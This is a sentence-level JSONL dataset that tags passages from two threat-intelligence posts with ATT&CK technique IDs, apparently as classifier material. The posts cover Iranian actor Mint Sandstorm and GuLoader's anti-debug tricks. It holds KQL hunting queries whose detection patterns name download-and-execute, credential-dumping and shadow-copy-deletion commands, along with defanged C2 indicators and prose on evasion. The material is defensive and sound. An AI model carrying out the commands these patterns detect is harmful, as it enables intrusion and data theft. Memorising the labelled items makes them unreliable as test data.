{"sentence": "Template injection is an attractive option for adversaries looking to execute malicious code without drawing scrutiny from defenders.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This technique can also be used to persist in a compromised environment if an adversary replaces a default template used by a common application.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In these attacks, Microsoft has observed the Mint Sandstorm subgroup using CharmPower, a custom implant, in attacks that began with targeted phishing campaigns.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "CharmPower is a modular backdoor written in PowerShell that this subgroup delivers in phishing campaigns that rely on template injection.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "CharmPower can read files, gather information on an infected host, and send details back to the attackers.", "labels": ["T1005", "T1083"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Reporting from Checkpoint indicates that at least one version of CharmPower pulls data from a specific text file that contains a hardcoded victim identifier.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Template injection technique What’s next Capabilities observed in intrusions attributed to this Mint Sandstorm subgroup are concerning as they allow operators to conceal C2 communication, persist in a compromised system, and deploy a range of post-compromise tools with varying capabilities.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "While effects vary depending on the operators’ post-intrusion activities, even initial access can enable unauthorized access and facilitate further behaviors that may adversely impact the confidentiality, integrity, and availability of an environment.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "A successful intrusion creates liabilities and may harm an organization’s reputation, especially those responsible for delivering services to others such as critical infrastructure providers, which Mint Sandstorm has targeted in the past.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "As these operators increasingly develop and use sophisticated capabilities, organizations must develop corresponding defenses to harden their attack surfaces and raise costs for these operators.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft will continue to monitor Mint Sandstorm activity and implement protections for our customers.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The current detections, advanced detections, and IOCs in place across our security products are detailed below and shared with the broader security community to help detect and prevent further attacks.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Mitigation and protection guidance The techniques used by this subset of Mint Sandstorm can be mitigated through the following actions:", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Hardening internet-facing assets and understanding your perimeter Organizations must identify and secure perimeter systems that attackers might use to access the network.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Public scanning interfaces, such as Microsoft Defender External Attack Surface Management, can be used to improve data.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Vulnerabilities observed in recent campaigns attributed to this Mint Sandstorm subgroup that defenders can identify and mitigate include: IBM Aspera Faspex affected by CVE-2022-47986: Organizations can remediate CVE-2022-47986 by upgrading to Faspex 4.4.2 Patch Level 2 or using Faspex 5.x which does not contain this vulnerability.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "More details are available in IBM’s security advisory here.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Zoho ManageEngine affected by CVE-2022-47966:", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Organizations using Zoho ManageEngine products vulnerable to CVE-2022-47966 should download and apply upgrades from the official advisory as soon as possible.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Patching this vulnerability is useful beyond this specific campaign as several adversaries are exploiting CVE-2022-47966 for initial access.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Apache Log4j2 (aka Log4Shell) (CVE-2021-44228 and CVE-2021-45046): Microsoft’s guidance for organizations using applications vulnerable to Log4Shell exploitation can be found here.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This guidance is useful for any organization with vulnerable applications and useful beyond this specific campaign, as several adversaries exploit Log4Shell to obtain initial access.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This Mint Sandstorm subgroup has demonstrated its ability to rapidly adopt newly reported N-day vulnerabilities into its playbooks.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "To further reduce organizational exposure, Microsoft Defender for Endpoint customers can use the threat and vulnerability management capability to discover, prioritize, and remediate vulnerabilities and misconfigurations.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Reducing the attack surface Microsoft 365 Defender customers can also turn on attack surface reduction rules to harden their environments against techniques used by this Mint Sandstorm subgroup.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "These rules, which can be configured by all Microsoft Defender Antivirus customers and not just those using the EDR solution, offer significant protection against the tradecraft discussed in this report. Block executable files from running unless they meet a prevalence, age, or trusted list criterion Block Office applications from creating executable content Block process creations originating from PSExec and WMI commands Additionally, in 2022, Microsoft changed the default behavior of Office applications to block macros in files from the internet, further minimizing the attack surface for operators like this subgroup of Mint Sandstorm.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft 365 Defender detections Microsoft Defender Antivirus Microsoft Defender Antivirus detects the Drokbk implant as the following malware: Trojan:MSIL/Drokbk.A!dha Trojan:MSIL/Drokbk.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "B!dha Trojan:MSIL/Drokbk.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "C!dha Trojan:Win32/Drokbk.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "C!dha Microsoft Defender Antivirus detects the Soldier implant as the following malware: Trojan:MSIL/SoldierAudio.A!dha Trojan:MSIL/SoldierAudio.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "B!dha Trojan:MSIL/SoldierAudio.C!dha Microsoft Defender Antivirus detects the CharmPower implant as the following malware:", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "TrojanDownloader:O97M/RooftopMelt.A!dha Microsoft Defender for Endpoint The following Microsoft Defender for Endpoint alerts can indicate associated threat activity: Phosphorus Actor activity detected Hunting queries Microsoft 365 Defender Microsoft 365 Defender customers can run the following query to find related activity in their networks: ManageEngine Suspicious Process Execution. DeviceProcessEvents | where InitiatingProcessFileName hasprefix \"java\" | where InitiatingProcessFolderPath has @\"\\manageengine\\\" or InitiatingProcessFolderPath has @\"\\ServiceDesk\\\" | where (FileName in~ (\"powershell.exe\", \"powershell_ise.exe\") and (ProcessCommandLine has_any (\"whoami\", \"net user\", \"net group\", \"localgroup administrators\", \"dsquery\", \"samaccountname=\", \" echo \", \"query session\", \"adscredentials\", \"o365accountconfiguration\", \"-dumpmode\", \"-ssh\", \"usoprivate\", \"usoshared\", \"Invoke-Expression\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "IO.MemoryStream\", \"iex \", \"iex(\", \"Invoke-WebRequest\", \"set-MpPreference\", \"add-MpPreference\", \"certutil\", \"bitsadmin\") // \"csvhost.exe\", \"ekern.exe\", \"svhost.exe\", \".dmp\" or ProcessCommandLine matches regex @\"[-/–][Ee^]{1,2}[ncodema^]*\\s[A-Za-z0-9+/=]{15,}\")) or (FileName =~ \"curl.exe\" and ProcessCommandLine contains \"http\") or (FileName =~ \"wget.exe\" and ProcessCommandLine contains \"http\") or ProcessCommandLine has_any (\"E:jscript\", \"e:vbscript\") or ProcessCommandLine has_all (\"localgroup Administrators\", \"/add\") or ProcessCommandLine has_all (\"reg add\", \"DisableAntiSpyware\", @\"\\Microsoft\\Windows Defender\") or ProcessCommandLine has_all (\"reg add\", \"DisableRestrictedAdmin\", @\"CurrentControlSet\\Control\\Lsa\") or ProcessCommandLine has_all (\"wmic\", \"process call create\") or ProcessCommandLine has_all (\"net\", \"user \", \"/add\") or ProcessCommandLine has_all (\"net1\", \"user \", \"/add\") or ProcessCommandLine has_all (\"vssadmin\", \"delete\", \"shadows\") or ProcessCommandLine has_all (\"wmic\", \"delete\", \"shadowcopy\") or ProcessCommandLine has_all (\"wbadmin\", \"delete\", \"catalog\") or (ProcessCommandLine has \"lsass\" and ProcessCommandLine has_any (\"procdump\", \"tasklist\", \"findstr\")) | where ProcessCommandLine !contains \"download.microsoft.com\" and ProcessCommandLine !contains \"manageengine.com\" and ProcessCommandLine !contains \"msiexec\" Ruby AsperaFaspex Suspicious Process Execution. DeviceProcessEvents | where InitiatingProcessFileName hasprefix \"ruby\" | where InitiatingProcessFolderPath has @\"aspera\" | where (FileName in~ (\"powershell.exe\", \"powershell_ise.exe\") and (ProcessCommandLine has_any (\"whoami\", \"net user\", \"net group\", \"localgroup administrators\", \"dsquery\", \"samaccountname=\", \" echo \", \"query session\", \"adscredentials\", \"o365accountconfiguration\", \"-dumpmode\", \"-ssh\", \"usoprivate\", \"usoshared\", \"Invoke-Expression\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\"", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": ", \"System.IO.Compression\", \"System.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "IO.MemoryStream\", \"iex \", \"iex(\", \"Invoke-WebRequest\", \"set-MpPreference\", \"add-MpPreference\", \"certutil\", \"bitsadmin\", \"csvhost.exe\", \"ekern.exe\", \"svhost.exe\", \".dmp\") or ProcessCommandLine matches regex @\"[-/–][Ee^]{1,2}[ncodema^]*\\s[A-Za-z0-9+/=]{15,}\")) or (FileName =~ \"curl.exe\" and ProcessCommandLine contains \"http\") or (FileName =~ \"wget.exe\" and ProcessCommandLine contains \"http\") or ProcessCommandLine has_any (\"E:jscript\", \"e:vbscript\") or ProcessCommandLine has_all (\"localgroup Administrators\", \"/add\") or ProcessCommandLine has_all (\"reg add\", \"DisableAntiSpyware\", @\"\\Microsoft\\Windows Defender\") or ProcessCommandLine has_all (\"reg add\", \"DisableRestrictedAdmin\", @\"CurrentControlSet\\Control\\Lsa\") or ProcessCommandLine has_all (\"wmic\", \"process call create\") or ProcessCommandLine has_all (\"net\", \"user \", \"/add\") or ProcessCommandLine has_all (\"net1\", \"user \", \"/add\") or ProcessCommandLine has_all (\"vssadmin\", \"delete\", \"shadows\") or ProcessCommandLine has_all (\"wmic\", \"delete\", \"shadowcopy\") or ProcessCommandLine has_all (\"wbadmin\", \"delete\", \"catalog\") or (ProcessCommandLine has \"lsass\" and ProcessCommandLine has_any (\"procdump\", \"tasklist\", \"findstr\")) Log4J Wstomcat Process Execution. DeviceProcessEvents | where InitiatingProcessFileName has \"ws_tomcatservice.exe\" and FileName !in~(\"repadmin.exe\") Encoded watcher Function.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "DeviceProcessEvents | where FileName =~ \"powershell.exe\" and ProcessCommandLine hasprefix \"-e\" | extend SplitString = split(ProcessCommandLine, \" \") | mvexpand SS = SplitString | where SS matches regex \"^[A-Za-z0-9+/]{50,}[=]{0,2}$\" | extend base64_decoded = replace(@'\\0', '', make_string(base64_decode_toarray(tostring(SS))))", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "| where not(base64_decoded has_any(@\"software\\checker\", \"set folder to watch\")) | where base64_decoded has_all(\"$hst\", \"$prt\") or base64_decoded has_any(\"watcher\", @\"WAt`CH`Er()\")", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft Sentinel Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "More details on the Content Hub can be found here: https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In addition, Microsoft Sentinel customers can leverage the following content to hunt for and detect related activity in their environments: Log4J solution Potential Impacket Execution Commands executed by WMI on new hosts – potential Impacket Scheduled Task Hidden Remote Task Creation/Update using Schtasks Process Scheduled Task Creation or Update from User Writable Directory Exchange SSRF Autodiscover ProxyShell – Detection Indicators of compromise IndicatorTypeDescriptionSoldier.exeFile nameSoldier backdoorad55b4a40f9e52682d9d4f069914e09c941e8b77ca7b615e9deffccdfbc54145SHA256Soldier backdoor hashDrokbk.exeFile nameDrokbk backdoor64f39b85c1d784df1ca8eb895ac7eaf47bf39acf008ed4ae27a796ac0f841bSHA256Drokbk", "labels": ["T1047", "T1053.005"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "backdoor hashsync-system-time[.]cfDomainDrokbk C2 infrastructureupdate-windows-security[.]tkDomainDrokbk C2 infrastructuredns-iprecords[.]tkDomainDrokbk C2 infrastructureuniversityofmhealth[.]bizDomainDrokbk C2 infrastructureoracle-java[.]cfDomainDrokbk C2 infrastructure54.39.202[.]0 IP addressDrokbk C2 infrastructure51.89.135[.]15IP", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "addressDrokbk C2 infrastructure51.89.169[.]201IP addressDrokbk C2 infrastructure51.89.187[.]222IP", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "addressDrokbk C2 infrastructureNY.docx.docxFile nameCharmPower lure document used for template injection57cc5e44fd84d98942c45799f367db78adc36a5424b7f8d9319346f945f64a72SHA256NY.docx.docx hashAbraham%20Accords%20Du.[.]docxFile nameCharmPower lure document used for template injection3dcdb0ffebc5ce6691da3d0159b5e811c7aa91f6d8fc204963d2944225b0119dSHA256Abraham%20Accords%20Du.[.]docx hashDocTemplate.dotmFile nameMalicious remote template document used in intrusions involving CharmPower65e48f63f455c94d3bf681acaf115caa6e1e60499362add49ca614458bbc4f85SHA256DocTemplate.dotmDntDocTemp.dotmFile nameMalicious remote template document used in intrusions involving CharmPower444075183ff6cae52ab5b93299eb9841dcd8b0321e3a90fb29260dc12133b6a2 SHA256DntDocTemp.dotm hash0onlyastep0[.]xyzDomainCharmPower C2 infrastructure0readerazone0[.]xyzDomainCharmPower C2 infrastructure0tryamore0[.]xyzDomainCharmPower C2 infrastructure References Iran: Background and U.S. Policy.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Congressional Research Service Cobalt Illusion Masquerades as Atlantic Council Employee.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Secureworks Apt42: Crooked Charms, Cons, and Compromises.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Mandiant Badblood: TA453 Targets US & Israel in Credential Phishing.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Proofpoint Treasury Sanctions IRGC-Affiliated Cyber Actors for Roles in Ransomware Activity.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "U.S. Department of the Treasury Officials: Israel Linked to a Disruptive Cyberattack on Iranian Port Facility.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The Washington Post Iran Says Cyberattack Causes Widespread Disruption at Gas Stations.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Thomson Reuters Iran’s Evolving Approach to Asymmetric Naval Warfare.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The Washington Institute for Near East Policy Hackers breach Iran rail network, disrupt service | Reuters.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Reuters APT35 Exploits Log4J Vulnerability to Distribute New Modular PowerShell Toolkit.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Checkpoint Iran Says Gas Stations Were Target Of Cyberattack To Foment Unrest (iranintl.com) Complaint – Summons – Civil Cover Sheet.pdf (noticeofpleadings.com)", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The post Nation-state threat actor Mint Sandstorm refines tradecraft to attack high-value targets appeared first on Microsoft Security Blog.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "GuLoader Demystified:", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Unraveling its Vectored Exception Handler Approach url: https://securitynews.sonicwall.com/xmlpost/guloader-demystified-unraveling-its-vectored-exception-handler-approach/ GuLoader Demystified:", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Unraveling its Vectored Exception Handler Approach May 31, 2023 OVERVIEW SonicWall Capture Labs Research team recently observed a new variant of GuLoader (a.k.a Cloudeye).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "GuLoader is a shellcode-based downloader, known for its numerous anti-analysis techniques and control flow obfuscation.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In latest variant of GuLoader it introduces new ways to raise exceptions that hamper complete analysis process and its execution under controlled environment.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In this blog post, we will discuss Unpacking of GuLoader’s shellcodes.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Understanding a new anti-debug technique deployed by GuLoader.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Deep dive into GuLoader’s custom Vectored Exception Handler.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Writing an IDAPython script to deobfuscate the control flow of shellcode and to make GuLoader’s analysis easy and fast.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "INTRODUCTION GuLoader is an advanced downloader first discovered in 2019 and since then it kept evolving, adding new anti-debugging techniques with its every new variant.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "It downloads malicious payload including AgentTesla, Azorult and Ramcos RAT etc.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Currently GuLoader is spreading through malspam campaign and packed using NSIS installer.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "UNPACKING GULOADER’S SHELLCODE GuLoader’s shellcode is executed after three layers.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Layer 1: Recent variant of GuLoader is spreading as NSIS Installer consisting of NSIS script, DLL plugin and encrypted shellcode’s file.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "We need NSIS variant of 7-zip to extract the NSIS script, as typical installer of 7-zip is unable to extract the NSIS script.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 1.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Extracted files from NSIS installer.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "File “Hangarer.Man” contains shellcode of Layer 2 and an encrypted shellcode of Layer 3 which is main shellcode of GuLoader.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "System.dll is DLL file which exports multiple functions.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "An Exported function named as “Call” is called by NSIS script.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "This function is responsible to allocate and execute Layer 2 shellcode.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 2.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "NSIS script calling Exported function Call.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Call function allocates memory space and copies content of file Hangarer.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Man from offset 0x409 till last byte.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "It then calls CallWindowProcW API.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "First parameter of CallWindowProcW is lpPrevWndFunc.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "lpPrevWndFunc is callback function, which is set to address of allocated memory space, which results in indirect execution of the Layer 2’s shellcode.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Layer 2: Malware immediately decrypts the third layer which located at offset 0x1c9 in layer 2 and starts its execution.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 3.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Decryption of layer 3.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Layer 3: It is the final GuLoader shellcode.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "This shellcode has complex obfuscation, consisting of junk code, indirect function calls, dynamic API resolution, obfuscated arithmetic value calculations, using stack to decrypt strings, fake instructions, anti-debug, anti-vm, anti-analysis, anti-dump, anti-API hook, anti-emulation techniques.", "labels": ["T1027", "T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "During analysis of this variant, we have identified a significant enhancement in GuLoader’s one of most effective anti-debug technique that it’s custom Vectored Exception Handler.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Malware raises exceptions by executing cleverly crafted series of instructions.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Also it uses same instructions multiple times in shellcode to make it hard for reverser to perform static and dynamic analysis and to consume lot of time.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Ultimate goal of GuLoader for using this anti-debug technique is to achieve runtime control flow obfuscation.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "GuLoader incorporates various evasions techniques.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Mentioning them below in order in which they are get executed.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Scan the virtual memory for the strings related to analysis tools.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Uses Heaven Gate technique to redirect it’s execution under x64 OS.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Check QEMU emulator related strings.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Patch DbgBreakPoint and DbgUiRemoteBreakin API used by debuggers.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Uses EnumWindows API to enumerates windows.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Uses NtSetInformationThread API with ThreadHideDebugger(0x11).", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Uses EnumDeviceDrivers and GetDeviceDriverBaseNameA APIs.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Uses MsiEnumProductsA and MsiGetProductInfoA APIs.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Uses OpenSCManagerA and EnumServicesStatusA APIs.", "labels": ["T1106", "T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Use NtQueryInformationProcess API with DebugPort(0x7).", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "An Overview of the Payload’s Execution Sequence Create suspended child process of itself.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In newly created process, it creates a section using genuine file to avoid AVs suspicious scanning.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In this case it was using mshtml.dll. Injects complete main shellcode in child process.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Repeats executing the mentioned evasion techniques one more time.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "After successful bypass , it decrypts the c2 URL and download encrypted payload from c2.", "labels": ["T1027", "T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Generate the payload decryption key.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In analyzed sample, key length was 0x303 bytes.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "GuLoader allocates approximately 60MB of memory space for the payload of size few KBs.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "It decrypts an encrypted payload, use process hollowing to inject decrypted payload into child process and resolves its Import Address Table.", "labels": ["T1027", "T1055", "T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Lastly, it starts payload execution using the ZwCreateThreadEx API. Fig 4.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Snippet of Payload decryption function.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "All of the above-mentioned evasion techniques and payload execution sequences are already explained in detail in SonicWall Capture Labs Research team’s blog.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "NEW ENHANCED ANTI-DEBUG TECHNIQUE", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In the below section we will discuss Exception types and implementation.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Decoding Vectored Exception Handler function.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Writing IDAPython script to restore deobfuscate control flow.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "EXCEPTION TYPES & IMPLEMENTATION", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "This variant of GuLoader has added two new additional exceptions EXCEPTION_ACCESS_VIOLATION & EXCEPTION_SINGLE_STEP compared to last variant it has only one exception EXCEPTION_BREAKPOINT exception.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
